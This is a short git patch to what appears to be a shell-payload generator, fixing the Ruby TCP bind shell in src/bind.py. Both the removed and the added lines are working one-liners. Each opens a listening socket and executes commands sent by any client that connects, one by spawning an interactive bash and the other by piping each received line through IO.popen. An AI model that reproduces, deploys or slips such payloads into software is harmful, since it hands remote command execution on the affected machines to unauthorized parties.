From 777b17c4258b60ecae791a44c00492cf9398c027 Mon Sep 17 00:00:00 2001 From: zc00l Date: Mon, 23 Jul 2018 17:18:17 -0400 Subject: [PATCH] Fixing ruby shell, thanks to @capnspacehook --- src/bind.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/bind.py b/src/bind.py index 344d73a..18a9bef 100644 --- a/src/bind.py +++ b/src/bind.py @@ -27,7 +27,7 @@ def BIND_PHP_UDP(): def BIND_RUBY_TCP(): - return """ruby -rsocket -e 'f=TCPServer.new(PORT);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'""" + return """ruby -rsocket -e 'f=TCPServer.new(PORT);c=f.accept;f.close();$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'""" def BIND_RUBY_UDP():